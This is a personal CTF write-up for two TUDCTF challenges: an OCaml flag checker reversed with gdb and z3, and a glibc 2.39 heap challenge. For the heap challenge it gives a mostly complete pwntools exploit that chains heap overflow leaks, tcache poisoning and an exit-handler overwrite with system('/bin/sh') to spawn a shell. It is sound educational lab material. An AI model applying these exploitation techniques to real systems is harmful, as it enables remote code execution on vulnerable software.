tudctf

recommended listening for this post is aoi koi no daidaiiro no hi by masudore

i’m not even a student at tu delft. my dear boyfriend’s friend signed up and sent me some of the chals to do for fun, so here’s two writeups on a rev n a pwn i liked

func

misc/giovanna’s microwave (1 solve)

it’s an ocaml binary.

giovannas_microwave.exe: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=42a3344430e6a4ca6ae88c5b9ccb9928a4028dbd, for GNU/Linux 3.2.0, stripped

handwaving away around 4 hours of painful, clueless reversing of me just fumbling around blindly we isolate the important checks here, in the evaluate_2083 function:

----------------------------------- code: x86:64 (gdb-native) ----
    0x5555557d0963 4889c7                <caml...evaluate_2083+0x23>   mov    rdi, rax
    0x5555557d0966 48897c2410            <caml...evaluate_2083+0x26>   mov    QWORD PTR [rsp+0x10], rdi
    0x5555557d096b 488b5c2408            <caml...evaluate_2083+0x2b>   mov    rbx, QWORD PTR [rsp+0x8]
*-> 0x5555557d0970 480fb643f8            <caml...evaluate_2083+0x30>   movzx  rax, BYTE PTR [rbx - 0x8]
    0x5555557d0975 488d15b4f63900        <caml...evaluate_2083+0x35>   lea    rdx, [rip + 0x39f6b4] # 0x555555b70030
    0x5555557d097c 48630482              <caml...evaluate_2083+0x3c>   movsxd rax, DWORD PTR [rdx + rax * 4]
    0x5555557d0980 4801c2                <caml...evaluate_2083+0x40>   add    rdx, rax
    0x5555557d0983 ffe2                  <caml...evaluate_2083+0x43>   jmp    rdx
    0x5555557d0985 0f1f00                <caml...evaluate_2083+0x45>   nop    DWORD PTR [rax]

the checker iterates 112 times, and performs an operation according to these values near rbx:

------------------------------- memory access: $rbx-0x8 = 0x555555c60238 ----
      0x555555c60238|+0x0000|+000: 0x0000000000000b02
$rbx  0x555555c60240|+0x0008|+001: 0x0000000000000001
      0x555555c60248|+0x0010|+002: 0x000000000000001f
      0x555555c60250|+0x0018|+003: 0x0000000000000b00

the value at $rbx-0x8 is an opcode mapping, and the other two values are indices. due to strange ocaml nonsense (i’m still not sure why), the indices need to be integer divided by 2 beforehand (so 0x01 actually becomes 0x00, 0x1f becomes 0xf).

there are six possible values of $rbx-0x8:

- b00 : add
- b01 : subtract
- b02 : multiply
- b03 : divide 
- b04 : xor 
- b05 : ??? (i actually never figured this one out)

the flag checker operates like so: we read our opcode given the mapping at $rbp-0x8, index into our flag at the specified indices, perform the operation, and then compare against… what exactly?

a further 2 hours of painful annoying reversing through fucking ocaml (WHY IS IT IN OCAML) we isolate the compare check somewhere here in the fun_2710 func:

    0x5555557d0c4f 488b1c24              <caml...fun_2710+0x1f>   mov    rbx, QWORD PTR [rsp]
*-> 0x5555557d0c53 4839d8                <caml...fun_2710+0x23>   cmp    rax, rbx
    0x5555557d0c56 0f94c0                <caml...fun_2710+0x26>   sete   al
    0x5555557d0c59 480fb6c0              <caml...fun_2710+0x29>   movzx  rax, al
    0x5555557d0c5d 488d440001            <caml...fun_2710+0x2d>   lea    rax, [rax + rax * 1 + 0x1]
    0x5555557d0c62 4883c408              <caml...fun_2710+0x32>   add    rsp, 0x8
    0x5555557d0c66 c3                    <caml...fun_2710+0x36>   ret

rbx is the value we compare to, and rax is the result of our opcode (also due to ocaml nonsense, before we get to this point we do a shl, an inc, and a idiv (which just takes it mod 0x100) on our rax value).

if rax isn’t equal to rbx at any point in time, the program prematurely exits out, i am assuming once again due to ocaml nonsense. anyways so we need to place two breakpoints at both of those checks, dump the values we need, and also we need to set rax = rbx at the cmp check to continue execution

we do this with the following gdb script:

import gdb

mapping = [
    '+', '-', '*', '%', '^', '???'
]

class CaptureRbxValues(gdb.Breakpoint):
    def __init__(self):
        super().__init__("*0x5555557d0c53", internal=True)
        self.iteration = 0
        self.rbx_values = []

    def stop(self):
        rbx_value = int(gdb.parse_and_eval("$rbx")) // 2
        self.rbx_values.append(rbx_value)
        self.iteration += 1
        print(f"expected value: {self.iteration}: $rbx = 0x{rbx_value:x} ({rbx_value})")
        gdb.execute(f"set $rax = $rbx", to_string=True)
        return False  # continue silently

class DumpNearbyRbx(gdb.Breakpoint):
    def __init__(self):
        super().__init__("*0x5555557d0970", internal=True)

    def stop(self):
        rbx = int(gdb.parse_and_eval("$rbx"))
        vals = []
        for off in (-8, 0, 8):
            addr = rbx + off
            val = int(gdb.parse_and_eval(f"*(long*){addr:#x}"))
            vals.append(val)
        func, op1, op2 = vals
        func = mapping[func%0x100]
        op1, op2 = op1//2, op2//2
        print(f'flag[{op1}] {func} flag[{op2}] % 0x100')
        return False 

bp_main = CaptureRbxValues()
bp_dump = DumpNearbyRbx()

running this script gives us the following output, which we just dump into z3.

flag[0] * flag[15] % 0x100
expected value: 1: $rbx = 0xf0 (240)
flag[1] ^ flag[24] % 0x100
expected value: 2: $rbx = 0x26 (38)
flag[2] + flag[31] % 0x100
expected value: 3: $rbx = 0x75 (117)
flag[3] * flag[28] % 0x100
expected value: 4: $rbx = 0x9c (156)
flag[4] + flag[8] % 0x100
expected value: 5: $rbx = 0x88 (136)

and below is our z3 script

from z3 import *

s = Solver()
flag = [BitVec(f'flag_{i}', 8) for i in range(56)]
known_prefix = "TUDCTF{"
known_suffix = "}"

for i, char in enumerate(known_prefix):
    s.add(flag[i] == ord(char))
s.add(flag[55] == ord(known_suffix))

for i in range(7, 55):
    s.add(flag[i] >= 32)
    s.add(flag[i] <= 126)

constraints = [
    (flag[0] * flag[15], 0xf0),
    (flag[1] ^ flag[24], 0x26),
    (flag[2] + flag[31], 0x75),
    (flag[3] * flag[28], 0x9c),
    (flag[4] + flag[8], 0x88),
    (flag[5] * flag[42], 0xfa),
    (flag[6] + flag[7], 0xc7),
    (flag[7] + flag[23], 0x80),
    (flag[8] % flag[48], 0x1),
    (flag[9] % flag[15], 0x2d),
    (flag[10] + flag[33], 0x9b),
    (flag[11] % flag[28], 0xa),
    (flag[12] + flag[27], 0xa1),
    (flag[13] - flag[30], 0xed),
    (flag[14] * flag[20], 0x4c),
    (flag[15] ^ flag[29], 0x13),
    (flag[16] - flag[55], 0xb4),
    (flag[17] * flag[19], 0xb5),
    (flag[18] + flag[19], 0x92),
    (flag[19] * flag[45], 0x1c),
    (flag[20] % flag[8], 0x0),
    (flag[21] - flag[12], 0x2c),
    (flag[22] * flag[18], 0x24),
    (flag[23] - flag[31], 0x3),
    (flag[24] - flag[37], 0x10),
    (flag[25] + flag[5], 0x7a),
    (flag[26] - flag[12], 0x34),
    (flag[27] + flag[46], 0xcd),
    (flag[29] ^ flag[41], 0x6b),
    (flag[30] % flag[40], 0x3),
    (flag[31] - flag[21], 0xd2),
    (flag[34] ^ flag[37], 0x3c),
    (flag[35] - flag[29], 0xf3),
    (flag[36] + flag[4], 0x85),
    (flag[37] ^ flag[53], 0x50),
    (flag[38] + flag[24], 0xa3),
    (flag[39] % flag[28], 0xc),
    (flag[40] - flag[7], 0x28),
    (flag[41] - flag[28], 0x0),
    (flag[42] * flag[5], 0xfa),
    (flag[44] + flag[45], 0xd2),
    (flag[45] ^ flag[7], 0x28),
    (flag[46] * flag[24], 0xad),
    (flag[47] - flag[3], 0xff),
    (flag[48] ^ flag[26], 0x54),
    (flag[49] * flag[42], 0xbd),
    (flag[50] % flag[41], 0x0),
    (flag[51] ^ flag[48], 0x7),
    (flag[52] - flag[26], 0x6),
    (flag[53] * flag[44], 0xea),
    (flag[54] + flag[55], 0xe9),
    (flag[55] - flag[32], 0x9),
    (flag[0] % flag[33], 0x54),
    (flag[1] + flag[3], 0x98),
    (flag[2] ^ flag[31], 0x75),
    (flag[3] * flag[49], 0xe9),
    (flag[4] * flag[46], 0x2c),
    (flag[5] + flag[10], 0x79),
    (flag[6] * flag[35], 0x66),
    (flag[7] ^ flag[14], 0x13),
    (flag[8] - flag[52], 0xc7),
    (flag[9] * flag[29], 0xe7),
    (flag[10] - flag[16], 0x2),
    (flag[12] + flag[17], 0x9e),
    (flag[13] * flag[22], 0xb0),
    (flag[14] * flag[2], 0x3c),
    (flag[17] ^ flag[40], 0x1f),
    (flag[18] - flag[41], 0xff),
    (flag[19] + flag[38], 0x8f),
    (flag[20] % flag[27], 0x34),
    (flag[21] ^ flag[51], 0x6b),
    (flag[22] ^ flag[42], 0x13),
    (flag[23] - flag[10], 0x1),
    (flag[24] ^ flag[28], 0x47),
    (flag[25] * flag[42], 0x4c),
    (flag[26] + flag[29], 0xc6),
    (flag[27] ^ flag[24], 0x1d),
    (flag[28] - flag[9], 0xbb),
    (flag[29] + flag[28], 0x93),
    (flag[30] + flag[21], 0xd6),
    (flag[32] % flag[31], 0x12),
    (flag[34] * flag[50], 0x98),
    (flag[35] ^ flag[26], 0x35),
    (flag[36] - flag[37], 0xce),
    (flag[37] % flag[32], 0x63),
    (flag[39] ^ flag[51], 0x40),
    (flag[40] + flag[26], 0xdb),
    (flag[41] - flag[45], 0xd0),
    (flag[42] + flag[47], 0xa1),
    (flag[43] + flag[13], 0x98),
    (flag[44] ^ flag[54], 0x2),
    (flag[45] ^ flag[54], 0x8),
    (flag[46] - flag[18], 0x2c),
    (flag[47] % flag[35], 0x42),
    (flag[49] % flag[9], 0x63),
    (flag[51] - flag[53], 0x1),
    (flag[52] + flag[23], 0xa1),
    (flag[53] - flag[50], 0xcb),
    (flag[54] + flag[55], 0xe9),
    (flag[55] + flag[38], 0xad),
]

for expr, expected in constraints:
    s.add((expr & 0xFF) == expected)

if s.check() == sat:
    m = s.model()
    result = ''.join(chr(m[flag[i]].as_long()) for i in range(56))
    print(f"Flag: {result}")

anyways run it to get the flag

Flag: TUDCTF{L4y3r3d_L1k3_4_L4s4gn4_w1th_R1c0tt4_4nd_B3ch4m3l}

pwn/adjacent chonks (0 solves, upsolved)

recommended listening for this part is pierce the veil’s bedless.

cock

heap chall!

navi@curette (~/Downloads/chonks/files) > checksec --file=adjacent_chonks
[*] '/home/navi/Downloads/chonks/files/adjacent_chonks'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'$ORIGIN'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

hey look at that it’s no relro on the binary wow (<—- CLUELESS)

anyways so no relro makes this a lot easier to solve, but i did not realize and solved it as if it were full relro. good thing about this is that it introduced me to a lot of neat techniques

the primitive is here:

void catch() {
    int idx = get_chonk_index();

    if(chonks[idx] != NULL) {
        puts("You already have a chonk here!");
        return;
    }

    int size;
    printf("How big of a chonk do you want to catch? ");

    const char* name = names[rand() % NUM_NAMES];
    const char* breed = breeds[rand() % NUM_BREEDS];

    chonks[idx] = malloc(size);
    chonk_sizes[idx] = size;

    printf("You put an empty cardboard box in front of your house and a second later you see a chonk inside!\nIt's %s, a %s!\nWhat does %s look like? ", name, breed, name);
    ((const char**)chonks[idx])[0] = name;
    ((const char**)chonks[idx])[1] = breed;
    read(0, chonks[idx] + sizeof(const char*) * 2, size);
}

we malloc some size. the first 8 bytes go to a char* pointer name, the second 8 bytes go to a char* pointer breed and we write size bytes from our input. all the pointers are defined in the binary.

note that we’re actually writing 0x10 + size bytes to that chunk, so we can overflow into adjacent chunks, which is our primitive. we can overflow into an adjacent chunk’s char* pointer, which is essentially arbitrary read. first things first is that we can read the pointers themselves, which functions as our PIE leak.

we do this by allocating a chunk of size 0x18, then another of size 0x10. reading from the first chunk will call this function:

void admire() {
    int idx = get_chonk_index();

    if(chonks[idx] == NULL) {
        puts("You don't have any chonks here...");
        return;
    }

    const char* name = ((const char**)(chonks[idx]))[0];
    const char* breed = ((const char**)(chonks[idx]))[1];

    printf("You admire %s the %s. ", name, breed);
    write(1, chonks[idx] + sizeof(const char*) * 2, chonk_sizes[idx]);
}
gef> vis
0x0000000000000000 0x0000000000000291 | ................ |
0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x0000000000000000 0x0000000000000021 | ........!....... |
0x00005557aa630037 0x00005557aa630051 | 7.c.WU..Q.c.WU.. |
this one -> 0x000000000000000a 0x0000000000000021 | ........!....... |
            0x00005557aa630015 0x00005557aa630060 | ..c.WU..`.c.WU.. |
0x000000000000000a 0x0000000000020d31 | ........1....... |  <-  top
0x0000000000000000 0x0000000000000000 | ................ |

if we try to read the first chunk, we’ll actually read the first 0x18 bytes starting from the indicated qword, hence dumping a pointer to the binary.

You admire Pwny the Turkish Angora. 
\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x15\x00c\xaaWU\x00\x00
What would you like to do now?

this pointer is always a fixed offset from the binary base, hence this is our pie leak (we can determine it’s exactly 8192 bytes from the start)

malloc(0, 0x10, '')
malloc(1, 0x10, '')
l = leak(0)
pie_leak = int('0x' + l[16:-1][::-1].hex() + '00', 16) - 8192
elf.address = pie_leak

print(f'{hex(pie_leak) = }')

next we want a heap leak so we can tcache poison. the challenge is on libc 2.39, so we’ll have to account for pointer mangling.

our heap leak can be obtained in a somewhat convoluted way. first, we malloc three chunks of size 0x18, malloc a guard chunk to prevent consolidation w the top chunk, and then free all three allocated chunks.

then, we malloc again. keep in mind with our write-on-malloc we can now overwrite the adjacent chunk’s metadata, so we allocate to modify the 2nd chunk’s size to be bigger.

0x000000000000000a 0x0000000000000021 | ........!....... |
0x000056221e9f5015 0x000056221e9f503c | .P.."V..<P.."V.. |

[the chunk below is now size 0x51]
0x4141414141414141 0x0000000000000051 | AAAAAAAAQ....... |
0x0000000562248c0a 0x3587161aa29f2f40 | ..$b....@/.....5 |  <-  tcache[idx=0,sz=0x20][1/2]

[we never claim this chunk again]
[because it is freed, it contains heap ptrs]
[this is what we want to read]
0x000000000000000a 0x0000000000000031 | ........1....... |
0x0000000562248cae 0x3587161aa29f2f40 | ..$b....@/.....5 |  <-  tcache[idx=1,sz=0x30][1/1]
0x000000000000000a 0x0000000000000000 | ................ |

then, we malloc our ‘larger’ corrupted chunk. keep in mind we’d need to malloc the previous size, not the new size, because it’s still in the bin for that size.

note how this bin is for size 0x20
tcachebins[idx=0, size=0x20, @0x55d54371e090]: fd=0x55d54371e300 count=1

but this chunk is size 0x50
 -> Chunk(base=0x55d54371e2f0, addr=0x55d54371e300, size=0x50, flags=PREV_INUSE, fd=0x00055d54370a(=0x000000000014), corrupted)
 -> 0x14 [corrupted chunk]

the initial size we pass to the binary dictates the size of our read, so we will need to actually put this chunk in the correct bin. we just do that by claiming and freeing it again.

size 0x50 bin
tcachebins[idx=3, size=0x50, @0x559bfcc180a8]: fd=0x559bfcc18300 count=1
size 0x50 chunk
-> Chunk(base=0x559bfcc182f0, addr=0x559bfcc18300, size=0x50, flags=PREV_INUSE, fd=0x000559bfcc18(=0x000000000000))

now, once we read, we’ll read the heap pointers in the freed third chunk.

[DEBUG] Received 0xc4 bytes:
    00000000  59 6f 75 20  61 64 6d 69  72 65 20 54  61 62 62 79  You admire Tabby
    00000010  20 74 68 65  20 53 69 6e  67 61 70 75  72 61 2e 20   the Singapura. 
    00000020  0a 00 00 00  00 00 00 00  31 00 00 00  00 00 00 00  │····│····│1···│····│
    00000030  b8 5c 79 55  05 00 00 00  62 97 da 9d  7a 2a eb 9a  │·\yU│····│b···│z*··│
    00000040  0a 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000050  00 00 00 00  00 00 00 00  31 00 00 00  00 00 00 00  │····│····│1···│····│
    00000060  0a 57 68 61  74 20 77 6f  75 6c 64 20  79 6f 75 20  │·What would you 
    00000070  6c 69 6b 65  20 74 6f 20  64 6f 20 6e  6f 77 3f 0a  like to do now?·│
    00000080  31 29 20 43  61 74 63 68  20 61 20 6e  65 77 20 63  1) Catch a new c
    00000090  68 6f 6e 6b  0a 32 29 20  41 64 6d 69  72 65 20 61  honk│·2) Admire a
    000000a0  20 63 68 6f  6e 6b 0a 33  29 20 4c 65  74 20 61 20   chonk·3) Let a 
    000000b0  63 68 6f 6e  6b 20 67 6f  0a 30 29 20  45 78 69 74  chonk go│·0) Exit
    000000c0  0a 0a 3e 20                                         │··> 
    000000c4


b'\x00\x00\x00\x00\x00\x00\x001\x00\x00\x00\x00\x00\x00\x00\xb8\\yU\x05\x00\x00\x00b\x97\xda\x9dz*\xeb\x9a\n'
hex(heap_leak) = '0x555795cb8000', hex(pie_leak) = '0x55578c71e000'

now we essentially have arbitrary read and arbitrary write. keep in mind though, our arbitrary write is limited to size 0x40, and it’s quite finicky because the program automatically populates the first two qwords of our write with nonsense pointers.

let’s keep leaking. we need a libc address. because we already have a PIE leak, we can just whack the GOT:

def read(address):
    malloc(7, 0x38, '')
    payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(address)
    malloc(6, 0x38, payload)
    p.sendlineafter(b'> ', e(2))
    p.sendlineafter(b'? ', e(7))
    z = p.recvline()
    i = z.split(b' ')[2][::-1].hex()

    free(7)
    free(6)
    return i

leak = read(elf.got['printf'] + 0x1)
printf = int('0x' + leak + '00', 16)
libc.address = printf - libc.sym['printf']
print(
    f'{hex(libc.address) = }'
)

a few considerations: typically function pointers have a nullbyte, so we increment our write address by one to avoid the nullbyte. otherwise, it’s the same nonsense with carefully overwriting adjacent chunks, making sure the metadata is unharmed, then just reading.

[DEBUG] Received 0xc1 bytes:
    00000000  59 6f 75 20  61 64 6d 69  72 65 20 01  [c6 c8 eb 7f] <- hey thats our leak   You admire ·│····│
    00000010  20 74 68 65  20 54 75 72  6b 69 73 68  20 41 6e 67                            the Turkish Ang
    00000020  6f 72 61 2e  20 0a 00 00  00 00 00 00  00 00 00 00                           ora. ···│····│····│

(from here, an astute solver noticing no relro on the binary will just do GOT override by overwriting free with system), saving a lot of blood sweat and tears.

but now we have the classic www2exec situation, the two main ones are FSOP and exit handler override, but FSOP requires a larger write than what we have access to, and exit handler override just needs an arb read to leak a specific value.

background on exit handlers

there’s a struct that contains functions that are executed when we exit from a program. in the bata24 fork of GEF, we can simply run dtor and check:

-------------------------- tls_dtor_list: registered by __cxa_thread_atexit_impl() --------------------------
[+] Probably only exists in glibc
[!] Not found tls_dtor_list
------------------------------ __exit_funcs: registered by atexit(), on_exit() ------------------------------
__exit_funcs: 0x7febc8e03680[rw-]: 0x7febc8e04fc0[rw-]
    -> next:     0x7febc8e04fc0[rw-]: 0x000000000000
       idx:      0x7febc8e04fc8[rw-]: 0x000000000001
       fns[0x0]: 0x7febc8e04fd0[rw-]: flavor:     0x000000000004
                                      func:       0xd72bb4100d0d951a (=0x7febc8eb1380) [valid]
                                      arg:        0x000000000000
                                      dso_handle: 0x000000000000
----------------------------- __quick_exit_funcs: registered by at_quick_exit() -----------------------------
__quick_exit_funcs: 0x7febc8e03678[rw-]: 0x7febc8e04b80[rw-]
    -> next:     0x7febc8e04b80[rw-]: 0x000000000000
       idx:      0x7febc8e04b88[rw-]: 0x000000000000
-------------------------------------------- .fini_array section --------------------------------------------
/home/navi/Downloads/chonks/files/adjacent_chonks
    -> 0x55ac97341480[rw-]: 0x55ac9733f280
----------------------------------------------- .fini section -----------------------------------------------
/home/navi/Downloads/chonks/files/adjacent_chonks
    -> 0x55ac9733f874

the key part here is __exit_funcs -> fns[0x0] -> func. we’ll see that they also very nicely have a field that corresponds to an argument, meaning we don’t need to resort to (very finicky) one gadgets in modern libc.

let’s look at the actual struct where these are defined:

gef> p initial
$2 = {
  next = 0x0,
  idx = 0x1,
  fns = {
    [0x0] = {
      flavor = 0x4,
      func = {
        at = 0xd72bb4100d0d951a,
        on = {
          fn = 0xd72bb4100d0d951a,
          arg = 0x0
        },
        cxa = {
          fn = 0xd72bb4100d0d951a,
          arg = 0x0,
          dso_handle = 0x0
...

(note that i have an unstripped version of libc, which exports symbols like initial).

and let’s look at the structure of the qwords, too:

gef> x/8x &initial
0x7febc8e04fc0 <initial>:       0x0000000000000000      0x0000000000000001
0x7febc8e04fd0 <initial+16>:    0x0000000000000004      0xd72bb4100d0d951a
0x7febc8e04fe0 <initial+32>:    0x0000000000000000      0x0000000000000000
0x7febc8e04ff0 <initial+48>:    0x0000000000000000      0x0000000000000000

so we just want to allocate to this initial area, overwrite the 4th qword (our func) ptr and the 5th qword (which corresponds to arg).

however keep in mind that due to the write-on-malloc we’d actually have to allocate before the initial struct, so the garbage char* ptrs don’t ruin the fragile struct (thankfully, the two qwords before this struct are null).

the function pointers in this struct are encrypted (not unlike fd ptrs in tcache) w a certain value called the pointer mangle cookie. the encryption is as follows: a right rotate by 17, then xor with the cookie.

once again, similarly to tcache poisoning, we’ll need to recreate this encryption if we want the program to parse our written pointers as intended. the problem is actually leaking the cookie, though, because it lies in the TLS, which is not in libc, or the binary, or even ld.

we need to chain multiple reads to get a pointer in TLS. first, we need to find a pointer to ld within libc, then a pointer to TLS within ld. the bata24 fork of gef is once again extremely helpful:

gef > scan libc ld
[+] Searching for addresses in 'libc' that point to 'ld'
libc.so.6: 0x00007febc8e02c08 <_dl_find_dso_for_object@got.plt>  ->  0x00007febc8eb8fe0 <_dl_find_dso_for_object>  ->  0x058b4855fa1e0ff3
libc.so.6: 0x00007febc8e02c40 <_dl_deallocate_tls@got.plt>  ->  0x00007febc8ec0830 <_dl_deallocate_tls>  ->  0xe5894855fa1e0ff3
libc.so.6: 0x00007febc8e02c48 <__tls_get_addr@got.plt>  ->  0x00007febc8ec3820 <__tls_get_addr>  ->  0x148b4864fa1e0ff3
libc.so.6: 0x00007febc8e02c70 <_dl_signal_error@got.plt>  ->  0x00007febc8ead250 <_dl_signal_error>  ->  0xd43d8055fa1e0ff3

just pick your favorite, i picked _dl_signal_error:

malloc(7, 0x38, '')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(libc.got['_dl_signal_error'])
malloc(6, 0x38, payload)
p.sendlineafter(b'> ', e(2))
p.sendlineafter(b'? ', e(8))
ld_leak = int('0x' + p.recvline().split(b' ')[2][::-1].hex(), 16) - 0x1250
free(7);
free(6);

and then to chain, we do the same nonsense:

gef> scan ld tls
[+] Searching for addresses in 'ld' that point to 'tls'
ld-linux-x86-64.so.2: 0x00007fde7114c3a0  ->  0x00007fde7110c1e0  ->  0x00007fde70e00000  ->  0x03010102464c457f
ld-linux-x86-64.so.2: 0x00007fde7114dad0 <_rtld_global_ro+0x30>  ->  0x00007fde7110e7c0  ->  0x00007fde7114f2e0  ->  0x000055873b722000  ->  ...
ld-linux-x86-64.so.2: 0x00007fde7114dd90 <_rtld_global_ro+0x2f0>  ->  0x00007fde7110e1c0  ->  0x00007fde7110e000  ->  0x00007fde7110e050  ->  ...
ld-linux-x86-64.so.2: 0x00007fde7114e020 <_rtld_global+0x20>  ->  0x00007fde7110e250  ->  0x00007fde70e00000  ->  0x03010102464c457f

until we can finally read the cookie, which is a fixed offset from the TLS base. a really handy tool here is just typing tls to verify our leaks are correct.

malloc(7, 0x38, '')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(ld_leak + 0x363a0)
malloc(6, 0x38, payload)
p.sendlineafter(b'> ', e(2))
p.sendlineafter(b'? ', e(8))
tls_base = int('0x' + p.recvline().split(b' ')[2][::-1].hex(), 16) - 0xbb10

print(f"{hex(tls_base) = }")

free(7);
free(6);

malloc(7, 0x38, '')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(tls_base + 0x30)
malloc(6, 0x38, payload)
p.sendlineafter(b'> ', e(2))
p.sendlineafter(b'? ', e(8))

cookie = int('0x' + p.recvline().split(b' ')[2][::-1].hex(), 16)
print(f"{hex(cookie) = }")

these leaks give us:

hex(heap_leak) = '0x55ba0e771000', hex(pie_leak) = '0x55b9ff755000'
hex(libc.address) = '0x7f996e800000'
hex(ld_leak) = '0x7f996eb3a000'
hex(tls_base) = '0x7f996eb2f740'
hex(cookie) = '0xa9487aafeceac801'

and verifying w/ the tls command:

------------------------------------ TLS ------------------------------------
      0x7f996eb2f740|+0x0000|+000: 0x00007f996eb2f740  ->  [loop detected]
      0x7f996eb2f748|+0x0008|+001: 0x00007f996eb300e0  ->  0x0000000000000001
      0x7f996eb2f750|+0x0010|+002: 0x00007f996eb2f740  ->  [loop detected]
      0x7f996eb2f758|+0x0018|+003: 0x0000000000000000
      0x7f996eb2f760|+0x0020|+004: 0x0000000000000000
      0x7f996eb2f768|+0x0028|+005: 0xb82aa6360b33fa00  <-  canary
      0x7f996eb2f770|+0x0030|+006: 0xa9487aafeceac801  <-  PTR_MANGLE cookie
      0x7f996eb2f778|+0x0038|+007: 0x0000000000000000
      0x7f996eb2f780|+0x0040|+008: 0x0000000000000000
      0x7f996eb2f788|+0x0048|+009: 0x0000000000000000
      0x7f996eb2f790|+0x0050|+010: 0x0000000000000000
      0x7f996eb2f798|+0x0058|+011: 0x0000000000000000
      0x7f996eb2f7a0|+0x0060|+012: 0x0000000000000000
      0x7f996eb2f7a8|+0x0068|+013: 0x0000000000000000
      0x7f996eb2f7b0|+0x0070|+014: 0x0000000000000000
      0x7f996eb2f7b8|+0x0078|+015: 0x0000000000000000

neat! from here it’s trivial, we just write our needed values to that dtor struct:

print(f'{hex(libc.sym['initial']) = }')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(ptr_mangle ^ libc.sym['initial'] - 0x10)
malloc(6, 0x38, payload) # <- overwrite fd
malloc(7, 0x38, '')
malloc(8, 0x38, '')

def rol64(value: int, shift: int) -> int:
    shift &= 63
    return ((value << shift) | (value >> (64 - shift))) & ((1 << 64) - 1)

mangled_func = rol64(libc.sym['system'] ^ cookie, 0x11)
bin_sh = next(libc.search(b'/bin/sh'))
payload = p64(0) + p64(1) + p64(4) + p64(mangled_func) + p64(bin_sh)
malloc(9, 0x38, payload)

we can verify that the struct is populated correctly at runtime:

gef> dtor
---------------------------------- tls_dtor_list: registered by __cxa_thread_atexit_impl() ----------------------------------
[+] Probably only exists in glibc
[!] Not found tls_dtor_list
-------------------------------------- __exit_funcs: registered by atexit(), on_exit() --------------------------------------
__exit_funcs: 0x7fb49c003680[rw-]: 0x7fb49c004fc0[rw-]
-> next:     0x7fb49c004fc0[rw-]: 0x000000000000
idx:      0x7fb49c004fc8[rw-]: 0x000000000001
fns[0x0]: 0x7fb49c004fd0[rw-]: flavor:     0x000000000004
func:       0x84a88fe9db3e05be (=0x7fb49be58750 <system>) [valid]
arg:        0x7fb49bfcb42f (/bin/sh)

now, all we need to do is just trigger an exit and get our shell.

What would you like to do now?
1) Catch a new chonk
2) Admire a chonk
3) Let a chonk go
0) Exit

> $ 0
Bye!
$ whoami
navi
$

full solvescript for posterity

from pwn import *

context.binary = elf = ELF("./adjacent_chonks")
libc = ELF("./libc.so.6")
context.terminal = 'xterm'
p = process()
gdb.attach(p)

e = lambda x: str(x).encode() if type(x) in [str, int] else x

def chunk(leak):
    for idx, i in enumerate(leak):
        print(idx, hex(i))

def malloc(idx: int, size: int, write: str):
    p.sendlineafter(b'> ', e(1))
    p.sendlineafter(b'? ', e(idx))
    p.sendlineafter(b'? ', e(size))
    p.sendlineafter(b'? ', e(write))

def free(idx: int):
    p.sendlineafter(b'> ', e(3))
    p.sendlineafter(b'? ', e(idx))

def leak(idx: int):
    p.sendlineafter(b'> ', e(2))
    p.sendlineafter(b'? ', e(idx))
    p.recvline()
    return p.recvline()

# PIE leak
malloc(0, 0x10, '')
malloc(1, 0x10, '')
free(0)
malloc(0, 0x18, '')
l = leak(0)
pie_leak = int('0x' + l[16:-1][::-1].hex() + '00', 16) - 8192
elf.address = pie_leak

print(f'{hex(pie_leak) = }')

malloc(2, 0x18, '')
malloc(3, 0x18, '')
malloc(4, 0x20, '')
malloc(5, 0x20, '')
free(4)
free(3)
free(2)
malloc(2, 0x18, b'A' * 0x08 + p64(0x51))
malloc(3, 0x10, '')
free(3)
malloc(3, 0x40, '')
z = leak(3)
print(z)
heap_leak = int('0x' + z[19:14:-1].hex(), 16) << 12
ptr_mangle = heap_leak >> 12
print(
    f'{hex(heap_leak) = }, {hex(pie_leak) = }'
)
free(5)
free(4)
free(3)
free(2)

malloc(6, 0x38, '')
malloc(7, 0x38, '')
malloc(8, 0x38, '')
malloc(9, 0x38, '')
malloc(2, 0x38, '')
free(6)
free(7)

def read(address):
    malloc(7, 0x38, '')
    payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(address)
    malloc(6, 0x38, payload)
    p.sendlineafter(b'> ', e(2))
    p.sendlineafter(b'? ', e(7))
    z = p.recvline()
    i = z.split(b' ')[2][::-1].hex()

    free(7)
    free(6)
    return i

leak = read(elf.got['printf'] + 0x1)
printf = int('0x' + leak + '00', 16)
libc.address = printf - libc.sym['printf']
print(
    f'{hex(libc.address) = }'
)

malloc(7, 0x38, '')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(libc.got['_dl_signal_error'])
malloc(6, 0x38, payload)
p.sendlineafter(b'> ', e(2))
p.sendlineafter(b'? ', e(8))
ld_leak = int('0x' + p.recvline().split(b' ')[2][::-1].hex(), 16) - 0x1250
free(7);
free(6);

print(f"{hex(ld_leak) = }")

malloc(7, 0x38, '')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(ld_leak + 0x363a0)
malloc(6, 0x38, payload)
p.sendlineafter(b'> ', e(2))
p.sendlineafter(b'? ', e(8))
tls_base = int('0x' + p.recvline().split(b' ')[2][::-1].hex(), 16) - 0xbb10

print(f"{hex(tls_base) = }")

free(7);
free(6);

malloc(7, 0x38, '')
payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(tls_base + 0x30)
malloc(6, 0x38, payload)
p.sendlineafter(b'> ', e(2))
p.sendlineafter(b'? ', e(8))

cookie = int('0x' + p.recvline().split(b' ')[2][::-1].hex(), 16)
print(f"{hex(cookie) = }")
free(9)
free(8)
free(7)
free(6)

print(f'{hex(libc.sym['initial']) = }')
